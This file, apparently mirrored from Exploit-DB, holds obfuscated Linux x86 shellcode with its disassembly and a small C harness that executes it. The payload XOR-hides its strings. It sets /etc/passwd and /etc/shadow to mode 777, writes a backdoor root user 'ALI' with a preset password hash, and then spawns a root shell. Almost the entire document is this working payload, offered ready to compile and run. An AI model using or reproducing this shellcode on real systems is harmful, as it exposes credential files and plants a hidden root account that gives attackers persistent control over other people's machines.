exploit-db-mirror/shellcodes/linux_x86/34592.c

/*
#Title: Obfuscated Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Setreuid() , Execute /bin/sh 
#length: 521 bytes
#Date: 8 September  2018
#Author: Ali Razmjoo
#tested On: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]



Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
Thanks to Jonathan Salwan


chmod('/etc/passwd',777)
chmod('/etc/shadow',777)
open passwd , and write new root user with passwrd ( user: ALI pass: ALI ) , close passwd
setreuid() , execve('/bin/sh')


root@user:~/Desktop/xpl# objdump -d f.o

f.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   31 c9                   xor    %ecx,%ecx
   6:   31 d2                   xor    %edx,%edx
   8:   bb 59 45 4f 53          mov    $0x534f4559,%ebx
   d:   ba 33 36 38 37          mov    $0x37383633,%edx
  12:   31 d3                   xor    %edx,%ebx
  14:   53                      push   %ebx
  15:   c1 eb 08                shr    $0x8,%ebx
  18:   53                      push   %ebx
  19:   bb 7a 46 59 45          mov    $0x4559467a,%ebx
  1e:   ba 55 36 38 36          mov    $0x36383655,%edx
  23:   31 d3                   xor    %edx,%ebx
  25:   53                      push   %ebx
  26:   bb 67 58 45 4e          mov    $0x4e455867,%ebx
  2b:   ba 48 3d 31 2d          mov    $0x2d313d48,%edx
  30:   31 d3                   xor    %edx,%ebx
  32:   53                      push   %ebx
  33:   89 e3                   mov    %esp,%ebx
  35:   68 41 41 ff 01          push   $0x1ff4141
  3a:   59                      pop    %ecx
  3b:   c1 e9 08                shr    $0x8,%ecx
  3e:   c1 e9 08                shr    $0x8,%ecx
  41:   6a 0f                   push   $0xf
  43:   58                      pop    %eax
  44:   cd 80                   int    $0x80
  46:   bb 53 49 57 4a          mov    $0x4a574953,%ebx
  4b:   ba 39 2d 38 3d          mov    $0x3d382d39,%edx
  50:   31 d3                   xor    %edx,%ebx
  52:   c1 eb 08                shr    $0x8,%ebx
  55:   53                      push   %ebx
  56:   bb 6d 47 45 58          mov    $0x5845476d,%ebx
  5b:   ba 42 34 2d 39          mov    $0x392d3442,%edx
  60:   31 d3                   xor    %edx,%ebx
  62:   53                      push   %ebx
  63:   bb 6e 54 49 57          mov    $0x5749546e,%ebx
  68:   ba 41 31 3d 34          mov    $0x343d3141,%edx
  6d:   31 d3                   xor    %edx,%ebx
  6f:   53                      push   %ebx
  70:   89 e3                   mov    %esp,%ebx
  72:   68 41 41 ff 01          push   $0x1ff4141
  77:   59                      pop    %ecx
  78:   c1 e9 08                shr    $0x8,%ecx
  7b:   c1 e9 08                shr    $0x8,%ecx
  7e:   6a 0f                   push   $0xf
  80:   58                      pop    %eax
  81:   cd 80                   int    $0x80
  83:   bb 73 47 4e 51          mov    $0x514e4773,%ebx
  88:   ba 32 34 39 35          mov    $0x35393432,%edx
  8d:   31 d3                   xor    %edx,%ebx
  8f:   c1 eb 08                shr    $0x8,%ebx
  92:   53                      push   %ebx
  93:   bb 59 44 56 44          mov    $0x44564459,%ebx
  98:   ba 76 34 37 37          mov    $0x37373476,%edx
  9d:   31 d3                   xor    %edx,%ebx
  9f:   53                      push   %ebx
  a0:   bb 4e 58 59 51          mov    $0x5159584e,%ebx
  a5:   ba 61 3d 2d 32          mov    $0x322d3d61,%edx
  aa:   31 d3                   xor    %edx,%ebx
  ac:   53                      push   %ebx
  ad:   89 e3                   mov    %esp,%ebx
  af:   68 41 41 01 04          push   $0x4014141
  b4:   59                      pop    %ecx
  b5:   c1 e9 08                shr    $0x8,%ecx
  b8:   c1 e9 08                shr    $0x8,%ecx
  bb:   6a 05                   push   $0x5
  bd:   58                      pop    %eax
  be:   cd 80                   int    $0x80
  c0:   89 c3                   mov    %eax,%ebx
  c2:   6a 04                   push   $0x4
  c4:   58                      pop    %eax
  c5:   68 41 73 68 0a          push   $0xa687341
  ca:   59                      pop    %ecx
  cb:   c1 e9 08                shr    $0x8,%ecx
  ce:   51                      push   %ecx
  cf:   b9 57 67 57 58          mov    $0x58576757,%ecx
  d4:   ba 39 48 35 39          mov    $0x39354839,%edx
  d9:   31 d1                   xor    %edx,%ecx
  db:   51                      push   %ecx
  dc:   b9 4e 64 5a 51          mov    $0x515a644e,%ecx
  e1:   ba 74 4b 38 38          mov    $0x38384b74,%edx
  e6:   31 d1                   xor    %edx,%ecx
  e8:   51                      push   %ecx
  e9:   b9 47 57 56 42          mov    $0x42565747,%ecx
  ee:   ba 35 38 39 36          mov    $0x36393835,%edx
  f3:   31 d1                   xor    %edx,%ecx
  f5:   51                      push   %ecx
  f6:   b9 61 70 51 4e          mov    $0x4e517061,%ecx
  fb:   ba 2d 39 6b 61          mov    $0x616b392d,%edx
 100:   31 d1                   xor    %edx,%ecx
 102:   51                      push   %ecx
 103:   b9 48 58 70 74          mov    $0x74705848,%ecx
 108:   ba 72 68 4a 35          mov    $0x354a6872,%edx
 10d:   31 d1                   xor    %edx,%ecx
 10f:   51                      push   %ecx
 110:   b9 76 45 56 46          mov    $0x46564576,%ecx
 115:   ba 3d 6b 6c 76          mov    $0x766c6b3d,%edx
 11a:   31 d1                   xor    %edx,%ecx
 11c:   51                      push   %ecx
 11d:   68 66 77 55 57          push   $0x57557766
 122:   68 68 70 31 50          push   $0x50317068
 127:   68 7a 59 65 41          push   $0x4165597a
 12c:   68 41 61 41 51          push   $0x51416141
 131:   68 49 38 75 74          push   $0x74753849
 136:   68 50 4d 59 68          push   $0x68594d50
 13b:   68 54 42 74 7a          push   $0x7a744254
 140:   68 51 2f 38 54          push   $0x54382f51
 145:   68 45 36 6d 67          push   $0x676d3645
 14a:   68 76 50 2e 73          push   $0x732e5076
 14f:   68 4e 58 52 37          push   $0x3752584e
 154:   68 39 4b 55 48          push   $0x48554b39
 159:   68 72 2f 59 42          push   $0x42592f72
 15e:   68 56 78 4b 47          push   $0x474b7856
 163:   68 39 55 66 5a          push   $0x5a665539
 168:   68 46 56 6a 68          push   $0x686a5646
 16d:   68 46 63 38 79          push   $0x79386346
 172:   68 70 59 6a 71          push   $0x716a5970
 177:   68 77 69 53 68          push   $0x68536977
 17c:   68 6e 54 67 54          push   $0x5467546e
 181:   68 58 4d 69 37          push   $0x37694d58
 186:   68 2f 41 6e 24          push   $0x246e412f
 18b:   68 70 55 6e 4d          push   $0x4d6e5570
 190:   68 24 36 24 6a          push   $0x6a243624
 195:   b9 73 61 74 67          mov    $0x67746173,%ecx
 19a:   ba 32 2d 3d 5d          mov    $0x5d3d2d32,%edx
 19f:   31 d1                   xor    %edx,%ecx
 1a1:   51                      push   %ecx
 1a2:   89 e1                   mov    %esp,%ecx
 1a4:   ba 41 41 41 7f          mov    $0x7f414141,%edx
 1a9:   c1 ea 08                shr    $0x8,%edx
 1ac:   c1 ea 08                shr    $0x8,%edx
 1af:   c1 ea 08                shr    $0x8,%edx
 1b2:   cd 80                   int    $0x80
 1b4:   31 c0                   xor    %eax,%eax
 1b6:   b0 46                   mov    $0x46,%al
 1b8:   31 db                   xor    %ebx,%ebx
 1ba:   31 c9                   xor    %ecx,%ecx
 1bc:   cd 80                   int    $0x80
 1be:   31 c0                   xor    %eax,%eax
 1c0:   b0 46                   mov    $0x46,%al
 1c2:   31 db                   xor    %ebx,%ebx
 1c4:   31 c9                   xor    %ecx,%ecx
 1c6:   cd 80                   int    $0x80
 1c8:   68 52 55 48 42          push   $0x42485552
 1cd:   68 52 51 49 43          push   $0x43495152
 1d2:   b9 49 4b 59 77          mov    $0x77594b49,%ecx
 1d7:   ba 66 38 31 35          mov    $0x35313866,%edx
 1dc:   31 d1                   xor    %edx,%ecx
 1de:   51                      push   %ecx
 1df:   b9 55 55 54 57          mov    $0x57545555,%ecx
 1e4:   ba 7a 37 3d 39          mov    $0x393d377a,%edx
 1e9:   31 d1                   xor    %edx,%ecx
 1eb:   51                      push   %ecx
 1ec:   89 e3                   mov    %esp,%ebx
 1ee:   31 c0                   xor    %eax,%eax
 1f0:   88 43 07                mov    %al,0x7(%ebx)
 1f3:   89 5b 08                mov    %ebx,0x8(%ebx)
 1f6:   89 43 0c                mov    %eax,0xc(%ebx)
 1f9:   b0 0b                   mov    $0xb,%al
 1fb:   8d 4b 08                lea    0x8(%ebx),%ecx
 1fe:   8d 53 0c                lea    0xc(%ebx),%edx
 201:   cd 80                   int    $0x80
 203:   b0 01                   mov    $0x1,%al
 205:   b3 01                   mov    $0x1,%bl
 207:   cd 80                   int    $0x80
root@user:~/Desktop/xpl#



*/

#include <stdio.h>
#include <string.h>
char sc[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xbb\x59\x45\x4f\x53\xba\x33\x36\x38\x37\x31\xd3\x53\xc1\xeb\x08\x53\xbb\x7a\x46\x59\x45\xba\x55\x36\x38\x36\x31\xd3\x53\xbb\x67\x58\x45\x4e\xba\x48\x3d\x31\x2d\x31\xd3\x53\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x0f\x58\xcd\x80\xbb\x53\x49\x57\x4a\xba\x39\x2d\x38\x3d\x31\xd3\xc1\xeb\x08\x53\xbb\x6d\x47\x45\x58\xba\x42\x34\x2d\x39\x31\xd3\x53\xbb\x6e\x54\x49\x57\xba\x41\x31\x3d\x34\x31\xd3\x53\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x0f\x58\xcd\x80\xbb\x73\x47\x4e\x51\xba\x32\x34\x39\x35\x31\xd3\xc1\xeb\x08\x53\xbb\x59\x44\x56\x44\xba\x76\x34\x37\x37\x31\xd3\x53\xbb\x4e\x58\x59\x51\xba\x61\x3d\x2d\x32\x31\xd3\x53\x89\xe3\x68\x41\x41\x01\x04\x59\xc1\xe9\x08\xc1\xe9\x08\x6a\x05\x58\xcd\x80\x89\xc3\x6a\x04\x58\x68\x41\x73\x68\x0a\x59\xc1\xe9\x08\x51\xb9\x57\x67\x57\x58\xba\x39\x48\x35\x39\x31\xd1\x51\xb9\x4e\x64\x5a\x51\xba\x74\x4b\x38\x38\x31\xd1\x51\xb9\x47\x57\x56\x42\xba\x35\x38\x39\x36\x31\xd1\x51\xb9\x61\x70\x51\x4e\xba\x2d\x39\x6b\x61\x31\xd1\x51\xb9\x48\x58\x70\x74\xba\x72\x68\x4a\x35\x31\xd1\x51\xb9\x76\x45\x56\x46\xba\x3d\x6b\x6c\x76\x31\xd1\x51\x68\x66\x77\x55\x57\x68\x68\x70\x31\x50\x68\x7a\x59\x65\x41\x68\x41\x61\x41\x51\x68\x49\x38\x75\x74\x68\x50\x4d\x59\x68\x68\x54\x42\x74\x7a\x68\x51\x2f\x38\x54\x68\x45\x36\x6d\x67\x68\x76\x50\x2e\x73\x68\x4e\x58\x52\x37\x68\x39\x4b\x55\x48\x68\x72\x2f\x59\x42\x68\x56\x78\x4b\x47\x68\x39\x55\x66\x5a\x68\x46\x56\x6a\x68\x68\x46\x63\x38\x79\x68\x70\x59\x6a\x71\x68\x77\x69\x53\x68\x68\x6e\x54\x67\x54\x68\x58\x4d\x69\x37\x68\x2f\x41\x6e\x24\x68\x70\x55\x6e\x4d\x68\x24\x36\x24\x6a\xb9\x73\x61\x74\x67\xba\x32\x2d\x3d\x5d\x31\xd1\x51\x89\xe1\xba\x41\x41\x41\x7f\xc1\xea\x08\xc1\xea\x08\xc1\xea\x08\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x52\x55\x48\x42\x68\x52\x51\x49\x43\xb9\x49\x4b\x59\x77\xba\x66\x38\x31\x35\x31\xd1\x51\xb9\x55\x55\x54\x57\xba\x7a\x37\x3d\x39\x31\xd1\x51\x89\xe3\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
int main(void)
{

    fprintf(stdout,"Length: %d\n\n",strlen(sc));

    (*(void(*)()) sc)();

}